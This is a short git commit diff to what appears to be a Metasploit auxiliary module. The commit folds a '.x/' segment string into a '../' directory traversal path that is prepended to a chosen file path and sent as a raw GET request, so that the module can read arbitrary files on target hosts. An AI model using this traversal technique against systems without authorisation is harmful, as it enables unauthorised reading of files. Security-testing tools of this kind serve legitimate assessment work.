Removed the segments variable

bug/bundler_fix
Roberto Soares 2015-04-08 01:29:45 -03:00
parent d399d05383
commit 441042ed37
1 changed files with 2 additions and 3 deletions

View File

@ -42,14 +42,13 @@ class Metasploit3 < Msf::Auxiliary
end
def run_host(ip)
traversal = "../" * datastore['DEPTH']
segments = ".x/" * datastore['DEPTH']
traversal = "../" * datastore['DEPTH'] << ".x/" * datastore['DEPTH']
filename = datastore['FILEPATH']
filename = filename[1, filename.length] if filename =~ /^\//
res = send_request_raw({
'method' => 'GET',
'uri' => "#{traversal}#{segments}#{filename}"
'uri' => "#{traversal}#{filename}"
})
if res &&